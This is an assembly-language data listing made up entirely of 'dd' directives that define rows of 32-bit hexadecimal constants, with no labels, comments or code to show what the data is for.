dd 61E0901h, 9AAB8575h, 0E02DFCh, 8E464F82h, 2BAFEFAh
dd 0D0008BE6h, 80BBDEDAh, 0DD761Fh, 0CACB722Bh, 0EB7118E2h
dd 727FD95Ch, 0A2B5AD0Fh, 0AA728451h, 0F14F78C0h, 0F4360183h
dd 3769A186h, 6304D49Bh, 7CBBE600h, 79C447DBh, 7FF1004Eh
dd 73FAE443h, 6E1FB906h, 7500D084h, 0F149E677h, 3A8300ACh
dd 0DCBFA224h, 0A3D1CEDh, 2EA5B855h, 0D9008851h, 0F45E8F3Eh
dd 0C43900ECh, 0C76D4041h, 4717D110h, 71039D24h, 0E85474D5h
dd 14215Eh, 6D3FA41Eh, 6137D8EDh, 49AEA700h, 4C8BB055h
dd 0B96B0031h, 11851DA9h, 0BA00BBDDh, 4809AE97h, 62A5BDh
dd 504E535Fh, 67164792h, 0C6F8EFB8h, 2B34B507h, 5990D508h
dd 9DAF25h, 123958D9h, 37EAECE4h, 10A27D00h, 912AAE5Dh
dd 414801E8h, 0A9A35B8Eh, 7735E452h, 5155AB07h, 0DD300AB5h
dd 1F082DAh, 61E758B3h, 0D85BFDA6h, 800A82Eh, 24FC92A1h
dd 11D8348h, 1F6FEE07h, 0C498855Dh, 9E0ECB0Ch, 87045C62h
dd 0DD900F2Ch, 6CC86A0h, 2752A28Dh, 1500209Ah, 0D170ECBCh
dd 0E07AF5h, 7DFB778h, 5A683589h, 0B900D4E6h, 4DE61403h
dd 0DEC292h, 19291D5Ch, 8B77611Eh, 7F604000h, 0DED838Dh
dd 0BA60435h, 0ABE7CEAAh, 0C130820Eh, 2716C0C8h, 0AC2CE0EEh
dd 0B371003Ch, 8928D263h, 9A19B8ABh, 0CC282332h, 2087D0h
dd 3E0E3880h, 6EE447C4h, 1991E000h, 24BDEE64h, 1BAF00A7h
dd 8B692A52h, 0E51F947Fh, 0B24344C1h, 0C91AFFh, 7414EBE0h
dd 0C876F999h, 21E72200h, 0E50B8B57h, 0E16D01B1h, 0CABEF4C6h
dd 0FE8070F6h, 273A4D00h, 2433886Bh, 963E0042h, 6EB16A52h
dd 0A1136C79h, 9000ACE6h, 1EEFC654h, 4910C031h, 0FC3DDC08h
dd 0C8B1200h, 25054D98h, 9E7600D7h, 0B93606A6h, 7274C5D1h
dd 40BE1913h, 2B3A0EBEh, 8B2E460h, 45001481h, 59046B41h
dd 1AD3BF9h, 8AA5EAB8h, 205F9890h, 0F4009F0Ch, 1062D33Ah
dd 0FAF05561h, 0A8D7005Eh, 8EBDB988h, 0DB00E5B6h, 8A765337h
dd 1EAB5C3h, 7AC68D2Dh, 7047C9F0h, 0C500AD7Eh, 9B2539E9h
dd 182B8BEh, 0F6EC6FE6h, 0F4DC3E69h, 0D64A587Dh, 521D9C80h
dd 202D2617h, 25650011h, 8BB36D11h, 23AC2100h, 0C0F8D471h
dd 4D68009Eh, 6974CD4Ah, 0BA003362h, 102EF75Fh, 1C69AB5h
dd 0AA0DF295h, 0F0149D0Ah, 82690B6h, 800002F5h, 85C8BA3Dh
dd 12D27171h, 0F11E4C7h, 86E79B74h, 968A4069h, 0A005F84h
dd 0F707E1BEh, 0E98155FAh, 0A152E0h, 48250E7Ah, 0A0D695F4h
dd 0ED4BF906h, 0B8EAC9h, 14D7B840h, 4F12C77Dh, 16450500h
dd 0AD199AE2h, 0F05100CFh, 8E59C12Ch, 73060264h, 50765689h
dd 6BF70018h, 0CB61A0D0h, 49C12BB8h, 5E1D2084h, 0F7E8C8h
dd 0CBF46F94h, 0C24560F1h, 0FBCEE500h, 0B618B5C8h, 7B01FA65h
dd 87F6037Ah, 0BBC76B6Dh, 625158C0h, 7982100h, 7011B0ECh
dd 796760CDh, 0DC13551Fh, 0C7686300h, 41165265h, 997E3C90h
dd 64663400h, 0D426FCE0h, 0E04EC828h, 80A1EF00h, 0E4B2778Ah
dd 67F660h, 921DFAAEh, 0ED30F187h, 0DED9E707h, 1B0C9A4h
dd 5A1880h, 0E6D3D4ECh, 495B4FCEh, 76B7D200h, 0CDAA4864h
dd 0EE3A1EFDh, 0CCB4C119h, 0E453081Fh, 0F0EE3CAh, 8007B0h
dd 7F8EFE2Bh, 0E0890770h, 0C13CC555h, 0D4A52E17h, 0D909DC94h
dd 80ACD5DDh, 5405A118h, 7FEF003Bh, 78D202AAh, 5500DD68h
dd 9C1B5740h, 2E50B6h, 7B240191h, 977205DEh, 0A2ED5E00h
dd 0B1D0543Bh, 0F8AB69Ah, 0E0404BBFh, 0F60CFBDAh, 4AAA6D1Eh
dd 0CB9E1007h, 810A2580h, 78870054h, 0DD3E5CA4h, 2F073F01h
dd 2AC145B8h, 0EB912DE0h, 0B79E01F1h, 0A7050D9Bh, 0F098FC6Dh
dd 87402760h, 409AA62Bh, 5200325Dh, 0C3AB53DCh, 2881E601h
dd 0FEAEB17Dh, 99BF00B8h, 0B2FB0BC2h, 72009484h, 48FF6477h
dd 9A12762h, 56C35944h, 2A343600h, 0CC12F9EAh, 5D007492h
dd 2C81075Bh, 12DEF218h, 0C57C7Fh, 6EB8C909h, 0DA00AD7Eh
dd 6B593426h, 7B632760h, 76CE00AAh, 0B0A639A9h, 7D01BD4Dh
dd 0AFED6441h, 26C1E2A1h, 0A23100F7h, 4BE30BB7h, 0DC00041Dh
dd 0D0915F8Ah, 78DD41h, 9505C055h, 4BA258D3h, 24966200h
dd 0E102A83Bh, 0F9F8390Bh, 0C1578180h, 0E488A91h, 0D7714700h
dd 0F629D8C2h, 0CA0F00E0h, 0DBFD64D5h, 5E3C2A76h, 0DA6E00D2h
dd 0EE5AE5DFh, 20A9009Ch, 803DB57Ah, 840916ECh, 56DBA6Bh
dd 8E0FF32Dh, 6872805Bh, 3AF08374h, 0F50F2F53h, 0A809512h
dd 0B4F82C07h, 0A9007676h, 415F4A9Fh, 7453E1Dh, 9557A2BBh
dd 5EFBF0B1h, 0E20C27EFh, 0A00A4836h, 3E3B0038h, 0BE4C9B80h
dd 0FB04592Ah, 0B4A2CA39h, 0E9C08894h, 506A8AB8h, 938CCFh
dd 0CCCA0182h, 3F6C7A83h, 7D0056FEh, 0C402D9EDh, 43F32Eh
dd 7BCABD53h, 1509F426h, 0EF81F601h, 0F82E304Ch, 9EBABE80h
dd 912CAEDCh, 0B0F22F30h, 0DA727Dh, 975094CBh, 0E8371356h
dd 0BA87DC00h, 5BD62CBFh, 85FF007Bh, 6235D760h, 5E009175h
dd 13C3E1F7h, 0FBC03D9h, 0F3113459h, 0EFE03F0Fh, 894021F2h
dd 0BBB41900h, 1B5A1F73h, 30E712B7h, 0C01300C4h, 87276567h
dd 0D0C8E000h, 0EDE985A3h, 0CAB70066h, 0FD3BCD9Bh, 0DE0089B4h
dd 5CF11975h, 0E695AA14h, 31CFEB6h, 0F96690C2h, 48E01AF5h
dd 20037779h, 70950F9Dh, 5E3FB49h, 0E88852D8h, 0C5C800C2h
dd 2772E5C0h, 7416CC03h, 0A3403DFDh, 6E2398C4h, 38AF1CDCh
dd 3B42429h, 0EB143C0Eh, 803E3074h, 95498147h, 0FC5E0D1Fh
dd 203C30h, 9838107Bh, 79F357DAh, 0E961C000h, 4DF46C37h
dd 0B740077Ch, 30213B42h, 0EE0D31B4h, 0FF03B613h, 7A162000h
dd 1D7DD2Bh, 36844EE5h, 804A69F3h, 64423380h, 757EA2C1h
dd 989B0054h, 8039D1ADh, 0B600F696h, 0F09276C6h, 0FE063Dh
dd 79EED62Bh, 0EF36CDDEh, 17D06200h, 0FAD389FCh, 0AE010025h
dd 83326846h, 591F76CCh, 0DFC03E18h, 60C25AEEh, 366E0777h
dd 60F5E28Dh, 0DABD2978h, 9EA9D001h, 9A866758h, 960530h
dd 44B94DDFh, 0DAF7E165h, 7F87AE0Eh, 34EF401Bh, 0EC5633h
dd 9BE3E65Fh, 0B4C4E26Ch, 0B900F7B8h, 0F63B8D0Fh, 3EF9860h
dd 234EFC69h, 99C09716h, 493C6E2Bh, 80108027h, 0EE732CC0h
dd 28821DD9h, 0D3AC8317h, 84E0092Bh, 0EF4CC5D4h, 3ADD005Bh
dd 43A1C695h, 0DA4F00C7h, 0D3085CE8h, 0A8EA5FD7h, 85EF4C2Eh
dd 7E06B09h, 0ABDEDA2Bh, 910703B1h, 3F80C464h, 3CDD4355h
dd 9A803EF0h, 0C87917CAh, 41F69245h, 0CD4B48h, 97B55698h
dd 0DC7ABh, 71BC4CDCh, 1AEC3B8Ch, 0F17DB300h, 0B7EB3FFDh
dd 0D9E301C9h, 79D53355h, 9EC8FC6Ah, 0E08FA001h, 0E3D1FA19h
dd 1D22F8h, 0EF1FD81Bh, 80B857BBh, 0C0D2A730h, 3B40231h
dd 0A8E620D0h, 38A07B1Eh, 0B658B896h, 3C500DCh, 0B26EDF2Eh
dd 827500C1h, 69581A25h, 2A05BA6Ah, 39CD339h, 78D98D00h
dd 24DFF4C7h, 0D40902h, 66EA9DA5h, 0A01F75Bh, 0E228F204h
dd 51D42543h, 157798Ch, 0E8DCB2C2h, 20FA59A7h, 0CF0034B9h
dd 0C404AE28h, 4C082E95h, 5F179830h, 0A7510748h, 0AA49A084h
dd 0DEE247E6h, 5C2E3400h, 623B9F88h, 19CF009Bh, 7DC4B603h
dd 0BF074F3Ch, 728B11B5h, 97FF0780h, 513A0761h, 0F0D29F4Ah
dd 0FC878E76h, 55E4E503h, 8091382Eh, 2FA8CBDh, 0F4ACD386h
dd 0A9810C31h, 3112F1C5h
dd 6F9C60A4h, 3389630Fh, 7AB240A7h, 0CFF7A4D6h, 75409A21h
dd 0FB1F5EBEh, 9223F63Ch, 470F0EA2h, 0D007D2B1h, 0F3C0ED05h
dd 529208h, 0AF8593DFh, 7146D1FEh, 60D9AD00h, 4D66484Ch
dd 516008Ah, 0FE1252D6h, 4EE69AA4h, 0D0075FFEh, 0DB39B001h
dd 665A79C0h, 0FF7D0023h, 4C81BD8h, 0D6000BEEh, 984CF5Eh
dd 0A0891659h, 7C661F5h, 3A40363Bh, 5F8B76h, 0D15E78AEh
dd 4D8D3ED2h, 33238900h, 0EABBAE38h, 0E6849901h, 5B452F5Ah
dd 0EE7E60h, 38741A77h, 0DE163FB6h, 4F488100h, 0D0663AE1h
dd 906Bh, 0B8B2EC20h, 8C02A12Bh, 86922A01h, 5175784Dh
dd 0B909F4h, 41BF5420h, 96217A01h, 0C0EE3C00h, 94668516h
dd 82290067h, 8B5F9538h, 8A00B49Eh, 51804AA5h, 1CA9D985h
dd 40CE9AC9h, 906F916Ch, 0D800C8AAh, 20489E98h, 94759Fh
dd 59C75E07h, 0DD8D7646h, 0E95FAB00h, 0EE9C8942h, 0E084A347h
dd 687986h, 58BF1D26h, 97836035h, 0F8A6EA00h, 0CAD1CE95h
dd 9A71F54Eh, 820920h, 9E2AEECCh, 87B00DC0h, 7266EC06h
dd 1540ABA7h, 0A88CFC3Ch, 71047629h, 38CC5650h, 75048Dh
dd 2D7DAD95h, 0F90083C6h, 0C4800DDCh, 2E920Ah, 0AA8D707Eh
dd 0FB22091Eh, 0D434CC0Fh, 7C801C41h, 0F34B8BF7h, 482E0047h
dd 0E2F9DE8Ch, 0A0EA984h, 605A82E3h, 5430D51Fh, 0C78600B6h
dd 0BF812AE1h, 5805480Ah, 0E6ACCA4Ah, 21512038h, 0DF9E267Ah
dd 7022FE00h, 0CD647CCh, 0AB0C7341h, 9A0044C9h, 178A7D0Fh
dd 0F0453C16h, 0C08BE83Fh, 0EABF1411h, 1B00C8D2h, 0F46B9DF7h
dd 13B8E592h, 79F267h, 8EDA833h, 0BAFE0648h, 0FA9E762Ch
dd 6D8DB306h, 45650060h, 0F6D5179Ch, 0A300C1CAh, 4FF1D648h
dd 34B0EECh, 0BF027079h, 502A7E1Eh, 640AB445h, 0A860AAF0h
dd 0DD421C00h, 0DFC0CB4h, 6D0A0B16h, 0B0608318h, 61BC764h
dd 0E69139B0h, 6754105Dh, 27022620h, 7B22D6F8h, 0ED343E20h
dd 2027B054h, 0DC1D27C0h, 8FC97D1Ah, 534FD188h, 617CC005h
dd 4078956Ch, 0BA534085h, 5B220A10h, 8A608D02h, 0DC808EAEh
dd 157BDD3Ch, 0DAD42F1Dh, 600DEB80h, 1FE77891h, 1F5ADBh
dd 4928F9D2h, 45000AC5h, 0FD8A9B8Fh, 5470169Fh, 43D203Eh
dd 68EA2EF7h, 1222A9Bh, 9112F39h, 1817763Bh, 8B16310h
dd 3E1A5C5h, 40996608h, 706BCFE8h, 62F92C84h, 2202310h
dd 15E11E96h, 39150815h, 2614470h, 678C47A9h, 7E349CCAh
dd 6D812352h, 6A21E00h, 804EBE05h, 0C74345CEh, 684F6ACFh
dd 0B3804015h, 0B94B2FD6h, 54CE858Fh, 20357Eh, 434948B0h
dd 8A8FBB38h, 0CF2069E6h, 5F34AF60h, 0B8560C77h, 0D68AC740h
dd 9CE3208Ah, 0BC42DA6Ch, 4C351E60h, 0A3E646D3h, 4504A9BEh
dd 7007C9BFh, 8A574CC0h, 0A97F4Eh, 99C3140Ah, 41E92E37h
dd 87AD8513h, 71CA5842h, 309060CEh, 0CB54134Bh, 5B544AA4h
dd 25926020h, 404744BDh, 2378B8C8h, 0D00E2B93h, 3C3CC440h
dd 72FB1578h, 0C8A920B6h, 7D1064B6h, 94A8DF36h, 0B6AD8085h
dd 38040B2Eh, 0B07A2F11h, 0EC22CB1h, 400A3D48h, 0D9404D89h
dd 2204B40h, 0A7FB3876h, 44433E46h, 4C9DB4C0h, 918F41D1h
dd 3D107AD8h, 480496F5h, 0CCBD4F1Bh, 290F82A8h, 300B9587h
dd 54C5A9h, 40A45Eh, 682465E7h, 64BE28B0h, 0C10D9D06h
dd 318ECE0h, 18A339A6h, 0F0E0BA25h, 6E238D3h, 20BE6E29h
dd 3EAEC400h, 4416C7C1h, 68009F13h, 5C598F2Ah, 90F710A9h
dd 2E8E00C7h, 0A414E249h, 3D60CCE8h, 90191728h, 1CD801CFh
dd 1D5805F7h, 10204B9Eh, 6FA03F4Ah, 0ED1E1E17h, 5C7EB9Ah
dd 78C8426Ch, 0ED471C9Ah, 2044812h, 0E97641CAh, 0E64220B6h
dd 551938C0h, 5442C389h, 4320F2A2h, 80576C02h, 0E5EC3DD3h
dd 0C31D2000h, 0F270A334h, 0D0BA0329h, 0F581943Ah, 0E3896F81h
dd 0C7E019F3h, 2F00201Eh, 0D13FF39Ah, 89F7390h, 369912A7h
dd 0C49215E7h, 0CF0815F7h, 8F6F70A6h, 471E373Dh, 0A978D3C8h
dd 6A6D210Ch, 1CD2B751h, 60272A04h, 0F67D725Ch, 7E04809Eh
dd 6ED7423Fh, 0A1EEA7Dh, 898DF350h, 82CBF140h, 0F4440341h
dd 421E00E5h, 9C127991h, 40ECA13h, 8C716333h, 44DCD982h
dd 0F8BE94E0h, 8EE70751h, 0C06890CCh, 0CFE67F73h, 65382614h
dd 612F8E20h, 76D2FF24h, 22AB840Ah, 4B788801h, 0B7C2003Bh
dd 73590032h, 0F39BCF46h, 1A1EDBA7h, 1DC1634Ch, 86E8A882h
dd 0ACDDF0h, 0BA2C4F6Eh, 0AD4CB02Dh, 3FF6F104h, 0C33050B8h
dd 0F510FFDAh, 4DA84CCAh, 29FF443h, 22D02451h, 2949443Eh
dd 0F8EFDA10h, 0EC7D4009h, 0D6FCE814h, 0F4A1DD11h, 3318C6F1h
dd 819E8708h, 142A8A04h, 0A0201B7Ah, 23E58762h, 52E4F701h
dd 0DE15B43Ch, 0E2408FB0h, 0C01167Eh, 3CF56B19h, 0A1FF49Eh
dd 20E24EAAh, 605CDDE0h, 1060AFD4h, 19EAB0B6h, 349B10DAh
dd 2B6EA875h, 8220E24Ch, 9CF4AE1Ah, 49020815h, 4061250h
dd 0C6C08FB4h, 42DA7CF4h, 1DC0903Eh, 78503CD5h, 3D5626A8h
dd 190D0120h, 231FF795h, 4B343EEEh, 2020105Dh, 154A06E4h
dd 40882B7Bh, 0C11632E2h, 0BA639D40h, 0DE840A74h, 10AB383Eh
dd 0A87E874Dh, 814B420Ah, 5117047Ch, 8FF4C1C4h, 1C3D1689h
dd 2BD4E440h, 0C2407AA6h, 6094411Ah, 2B973338h, 66C540A7h
dd 1EA6202Ch, 0E3E9B987h, 2D72E4h, 0A063B380h, 8A605F57h
dd 1178A062h, 0CDBE1195h, 4DCEF1F7h, 0B706204Ah, 8073F86Bh
dd 567DE47Eh, 9035A200h, 3EB62193h, 34D7006Bh, 0BA6A7673h
dd 5300AAD9h, 5A7739D3h, 3897B6C0h, 0A681C85Bh, 0A0A74A54h
dd 1DBCEC36h, 281B2C28h, 6566DD08h, 4ECE00BAh, 0C84BA6F2h
dd 5BCD0A00h, 2DA509E8h, 1C2000D3h, 9F434EB4h, 0BE213616h
dd 0D53008C7h, 0F3932D05h, 0F442027h, 7560223Ch, 842F72C8h
dd 0D840C1D1h, 83A6487Ch, 78B42D59h, 7E300F59h, 3A90AC98h
dd 1ECA217h, 0A8558DC6h, 8787A5E2h, 0AED50A70h, 87368173h
dd 38AC3A27h, 219DE545h, 69EEC074h, 0E7C01D0Dh, 60BBBC00h
dd 3180D25Ah, 0D8960085h, 0CD7F0245h, 32FC3456h, 20353Eh
dd 0A50AC72Ah, 613B405Bh, 2B5750A8h, 0EA588055h, 68D45AD8h
dd 0C76000D0h, 3A4131DDh, 0BB52A7D1h, 0DB101DC8h, 0ADEAD300h
dd 3A40AAh, 14362580h, 7A473250h, 2354B37Fh, 0F008AE4h
dd 85E1E7A9h, 132DA11h, 0F41BC8D8h, 0D8902C50h, 0F1EEA621h
dd 80DF6431h, 0F04935B4h, 772012C0h, 2D9803BAh, 0D2A07EB9h
dd 5608AC90h, 80D3023Eh, 0A72A97EFh, 5BA63Eh, 5981549Ch
dd 36ED257h, 0D9268F1Eh, 82A43A94h, 0A2A40F72h, 8C44A6CCh
dd 0EA2E1884h, 0A584A02Fh, 0B1A9027Dh, 6440D05Eh, 0DED894A3h
dd 0AFEEAB88h, 0E0A2A02h, 0A0C43262h, 81BA0BA8h, 0D83AFAB8h
dd 0CCF448F8h, 78841300h, 3B51C430h, 0A231C00Dh, 67095B7Dh
dd 5A065C90h, 0A1FE3A55h, 398A0A88h, 2800158h, 9A67EDC7h
dd 2B68FCA3h, 0B486319Ah, 0A82479C9h, 0DD005BAFh, 1DA29CF0h
dd 0A87248BEh, 0DE855205h, 0C1A82B2Bh, 4611AC66h, 27F00821h
dd 800960ECh, 0B55613CFh, 3547F9C2h, 6980A02Fh, 0CB7801Fh
dd 0C3BE9F5Ch, 8B1EDEB0h, 0A9009BF4h, 72FB0209h, 1414701Dh
dd 80B5CAE6h, 2FE8660Ah, 0D59D0070h, 2EC36561h, 0C5B52C18h
dd 9933E18h, 3F7A5748h, 19812406h, 99DBEC31h, 0E0408DC8h
dd 0A1BC2760h, 7ED83AE4h, 0D828C2C6h, 50AF9C2Bh, 900C0687h
dd 0AA493715h, 0B608D01Dh
dd 720010E8h, 5BBA09D3h, 0A9E18CE3h, 0FF703AC8h, 2A401FC4h
dd 0FC91D5D4h, 600C6824h, 169E6CCFh, 38E1D2h, 0F46A0055h
dd 25957051h, 0F0A01C9Eh, 6E0EA909h, 0B8D23683h, 3A479D38h
dd 0E0810A82h, 62348B87h, 0AEF980B3h, 0D8C38193h, 0B0D74D44h
dd 0FCBB421Dh, 98766118h, 0D13E7A8Dh, 0B7263B88h, 35F180EDh
dd 0D082A971h, 0F6DA2E83h, 66302444h, 1E0F789Dh, 0A5D91815h
dd 201FE172h, 103DDA24h, 0E9911Bh, 0ACDC2640h, 0DE549F73h
dd 0B425B624h, 7D27D47h, 2D24C113h, 3474830h, 0B6258251h
dd 19C06364h, 2A7AABA9h, 7F202967h, 0B85322D0h, 91A7B4Fh
dd 4475D750h, 1C1D4000h, 0E07054C0h, 96601E7Fh, 26F014A8h
dd 9081E982h, 60DE98B7h, 0E58242Ch, 920C40E3h, 1A88415Ah
dd 4E288409h, 0C660189Fh, 638F6DD9h, 50B50F6Fh, 0A2005676h
dd 882A2581h, 0F541B8C2h, 1680A1A6h, 40C6D920h, 148C149Ah
dd 0B4FD0439h, 44A51C50h, 2A13CC95h, 20193172h, 3A0CA818h
dd 22602820h, 62139DBAh, 9401C43Eh, 8EEE416Fh, 880FF045h
dd 8440903Dh, 0BBA4012h, 1825F018h, 39D76DD9h, 5005F3B8h
dd 73C3A260h, 61863B24h, 0A81E2709h, 0A8208883h, 9EC2504h
dd 5952D043h, 2AA64814h, 0D1DC8230h, 0EAE587B0h, 77A62060h
dd 0E080A0DEh, 0CF1186D8h, 1F26C580h, 2825898Ch, 74A60402h
dd 628B7C40h, 0F1C8FCFDh, 0B5FA9C0Fh, 0DA640672h, 736C0048h
dd 0B96962ADh, 2F05FC50h, 3329D747h, 0A8DEE800h, 0C3852B34h
dd 0DB0360C0h, 8CA00AC2h, 2F2AC3E6h, 0D64C3CA6h, 0D33C400Ch
dd 5838C746h, 0B8F07543h, 0A42D1086h, 82DB8440h, 33C4B467h
dd 9260FCBFh, 9784638Eh, 883C4608h, 8A62EE94h, 0D275312Eh
dd 83BF78A2h, 4809824h, 81217282h, 69318DEEh, 2092A9A8h
dd 0BEC47FEh, 11ECFAF9h, 0BD3040F2h, 30882245h, 0E440A0FAh
dd 67E9EF48h, 0B077204Bh, 0CF1F89BBh, 860F652h, 44598330h
dd 8AB97306h, 765B102Ah, 4A219CACh, 3E5384A1h, 62FA3176h
dd 0D8AED70Ch, 3C7F282Ah, 1D08FE47h, 23422C8Fh, 0B7C23285h
dd 2BE69C00h, 264886CCh, 12DC4D0Ch, 7818FE2Fh, 8C80E738h
dd 0C48D3222h, 603F9BB0h, 8460527Ah, 4C83323h, 224F0DACh
dd 44B538F6h, 3B084142h, 0D6626553h, 0DF3CA273h, 3A39203Dh
dd 2C669ACCh, 29318BC1h, 88AC9F6Ah, 5EC13D1Bh, 5F08501Dh
dd 90E2CC44h, 0E1BC22E4h, 320A1880h, 0E9BB2486h, 7490C700h
dd 388E2256h, 0C4A66165h, 0C94F0F3Ch, 55BDE160h, 56B3844Ch
dd 31C41852h, 129B322Eh, 90428422h, 0A87F9C98h, 29847753h
dd 830A6C5Ah, 3CC1D8C9h, 0C6085CC0h, 9D102F46h, 38CBC922h
dd 868FA214h, 3CD20F29h, 63951039h, 61F77385h, 0C1998A8h
dd 15594636h, 1A3C3D89h, 99689482h, 0A30CC8A8h, 8A750A21h
dd 88789192h, 0EB94C7AFh, 0DC6877FCh, 3612FC88h, 1E622C02h
dd 201C0F50h, 889E6621h, 26993E63h, 11A84F30h, 3052C44h
dd 280C69D8h, 2143A9C1h, 9C751715h, 56C5C285h, 60F01030h
dd 9C81D49Fh, 61EB9FC4h, 0EA0CFBA8h, 4910D8AEh, 7842ABBh
dd 0B3066184h, 0B8AB3C52h, 880FFE9Ch, 4A257652h, 57FC2144h
dd 21D1585Ch, 25D9A13Ah, 73E83058h, 18265A40h, 50372D24h
dd 85607C41h, 181E2518h, 17CCB9EFh, 39DC2101h, 0BEB034AEh
dd 24E253h, 5BB3F3E0h, 80813041h, 5E008E98h, 0D0C4D09h
dd 31E79070h, 0BA18F413h, 87611108h, 2394EA10h, 0B19CF50Fh
dd 15B7001Ch, 0FB3FF49h, 0B6A26C60h, 6DE31200h, 0E50223B2h
dd 446316EDh, 6A9900B4h, 600EAF0h, 7CA3D408h, 3E261680h
dd 2303426Dh, 139C93E6h, 61EB5900h, 0F32B7B62h, 214830EAh
dd 3F633278h, 79E83903h, 1E3070Fh, 906D9631h, 0D4125194h
dd 18C1FB5Dh, 2352EAE8h, 1F38181h, 86E26307h, 0C2D16DA9h
dd 0FAE81EC8h, 0CA9B40C5h, 9D01E33Eh, 0EB2AD900h, 0E1B1920Fh
dd 17632209h, 2D397300h, 0D0E90BC9h, 0B7BA1F9Fh, 7E9C2855h
dd 381B61A6h, 48EEAA0Dh, 329FCA8h, 0F888A466h, 85620022h
dd 7BC0FDF2h, 9407373Ah, 7146D13h, 124875B7h, 0E25700EBh
dd 0A68625h, 1D0C6417h, 0FE99ED40h, 0A998F154h, 2003737Bh
dd 0CCA83E6h, 1419FBFBh, 689FE898h, 0D78C5F3Ch, 745168E7h
dd 988DF76h, 5F60A08Dh, 893CA062h, 0A0250096h, 0FF79F792h
dd 18F097C1h, 11E3BE30h, 0A8194909h, 0F206FB90h, 1CC8C01Eh
dd 169D5F7Fh, 35009EF8h, 0EDE0684Eh, 30051FE6h, 64E96031h
dd 0E115E25Eh, 0AE81234h, 8CC4E425h, 44443020h, 889A7C73h
dd 86176D0h, 4E989118h, 0E0B1A3h, 0A10583F1h, 670FEEF0h
dd 34C769AFh, 0BE7A0448h, 9900EA79h, 0F66C05D8h, 6A8DC8A8h
dd 95EC893Ch, 0CF287h, 0F5955807h, 0A0F97D41h, 3604380h
dd 0D15DFA6Dh, 95BBC07Bh, 1E181EC5h, 0A6071F12h, 3A48000Fh
dd 47CFFAE0h, 0F4FE81E0h, 842C4507h, 0AAE0FE49h, 7D11E1h
dd 326A645Ah, 0BFC57341h, 7E6D4800h, 7F625E2Fh, 0E2B607EDh
dd 0D5372640h, 0BB140E6Fh, 477E58A2h, 97F08C19h, 118DE35h
dd 326EF194h, 0CF41F0D2h, 44FEA000h, 0F8B44E04h, 9182E7ABh
dd 536E6022h, 58ADB200h, 37427C05h, 0D040F441h, 713429BFh
dd 7710CFh, 28A974FFh, 2C59037Ah, 456D7648h, 0A8584063h
dd 8A400327h, 0A71E5A61h, 873508E0h, 0F1EC5501h, 95AEFEB6h
dd 0F5BE99Dh, 40D8FA16h, 92AAC9Ch, 4514A0C1h, 3C48B36Ah
dd 0A628D0CCh, 0A8BD52h, 0BBC78114h, 0F05FA428h, 9470686h
dd 0C0EFDF02h, 7E3A6200h, 6A063F39h, 0C2E4EB84h, 0B549C78Fh
dd 0CB10C2Ch, 772A68B0h, 0F42AB423h, 841F2CE5h, 5E8C7B7Ch
dd 3752115h, 6B6EE3D0h, 5FE527A6h, 49370AB8h, 289820B4h
dd 888CE981h, 156AA24h, 6A4135F9h, 50043BAFh, 0E8C7EE48h
dd 2DAD6300h, 0A3F30E22h, 48DF4Bh, 0AA9FAE01h, 0FE51FFB5h
dd 0B23010D0h, 0F56C5576h, 14EC2C81h, 811ED72h, 74D5EF00h
dd 562FCB0Dh, 78457E06h, 14E9D170h, 98224736h, 3FF08101h
dd 0E3B40690h, 50B3C8D9h, 0D2A926A4h, 0E6185C07h, 0BED0E77Ah
dd 545D25E1h, 0EFB880Dh, 0ABAA2D8Fh, 7AF61118h, 7F547879h
dd 0B7011E88h, 0F198DCB5h, 5880F331h, 0C991A919h, 441A424Ah
dd 8071A3B9h, 1E13A194h, 34008AE6h, 0F2CFED99h, 3457900h
dd 2A33724Ah, 106048CCh, 87EB4682h, 80AFF1C0h, 0AA800893h
dd 41337425h, 3DAE0062h, 7BD06CD4h, 4BF40310h, 4CC61800h
dd 0AE65DD2Dh, 2EF00F2h, 711C24A0h, 950383D0h, 0F349039Ch
dd 185ED0E5h, 47C00EF8h, 224369DDh, 2E96D7Ah, 1EB040EFh
dd 0EB01F817h, 0C0F3F0E0h, 205098A7h, 0DEA608h, 4728129Dh
dd 66632EEAh, 8948C301h, 85B56521h, 0DE066080h, 31A47E9Ah
dd 0D130247Ch, 2CED5819h, 0E73B3D03h, 364A0286h, 5AF07806h
dd 9B211863h, 0FC66E048h, 92BF00CCh, 4A4CEE03h, 1275BC18h
dd 0D4E4040Fh, 2DCD0648h, 0BFCE1910h, 0E02F2047h, 0C367F392h
dd 6E814611h, 31BBDA8Ch, 0E391A408h, 0D23AA143h, 7410863Ch
dd 8345050h, 924A0CCEh, 131C15Bh, 106E3C28h, 5D0E4618h
dd 26615AB8h, 14B403BEh, 0E105B011h, 1E336BC5h, 644F00D0h
dd 5CB67421h, 0D13710C0h, 7F6E5ADh, 4E699541h, 0C4B2E329h
dd 80F202E9h, 23F96CE1h, 35367B9h, 0BBD53C12h, 0C1B02A0Ah
dd 0A02891C8h, 760ADCEAh, 0F809606Bh, 8D2CE01h, 0F4534950h
dd 0CF46B90Dh, 87BA2880h
dd 0ED474A0Bh, 24DE4B3Fh, 9C00189Fh, 0D6999A6Bh, 161801EAh
dd 80CBDCFh, 5ACEE039h, 1295F540h, 56E464h, 271F6A04h
dd 1850B365h, 0C20026ECh, 41EC1321h, 3B07EF5Ch, 0DA06BA39h
dd 1822E9DEh, 0A657F13h, 0D4F32100h, 320E630Dh, 40B1C211h
dd 9730423h, 2365D371h, 798F3423h, 0BE684008h, 38168C46h
dd 7F181A0h, 0EC41E4B5h, 6C5F9C91h, 903D09E0h, 24125080h
dd 0E5453796h, 6883C14Ch, 4B78835Fh, 1B20A9B0h, 507B87A8h
dd 819077E1h, 9E9F7588h, 96E4E5FEh, 3D1100CEh, 6ACD3B48h
dd 0BCA30CECh, 4F5585C4h, 0D886E714h, 0DD50191Bh, 0EE6ED94Ch
dd 412581E8h, 7600F764h, 692CA009h, 511E24E2h, 23D28E01h
dd 0E06EC675h, 0A00AA85h, 0E3DC6F4Ch, 6864B2Fh, 916245F9h
dd 8A1E30C2h, 0D0C460Ah, 78E711C7h, 0C3DD2252h, 8230F564h
dd 90062B22h, 0CA70F11h, 43E01329h, 5C47542Ch, 3381E900h
dd 0C676538Dh, 6B0C1EF0h, 1466C1FEh, 8C3AEEC7h, 3828C3A0h
dd 69240348h, 764E5FD6h, 0BF931900h, 0FE3B6860h, 0C762C0D2h
dd 0E88652DCh, 76186160h, 3E625630h, 3077DD1Bh, 43F9E614h
dd 0DB06E4A3h, 0C237D8ECh, 0A6E81838h, 92D9B0C0h, 78B78800h
dd 29EAF2F1h, 0B95CA044h, 40427F82h, 9C669768h, 0F0593310h
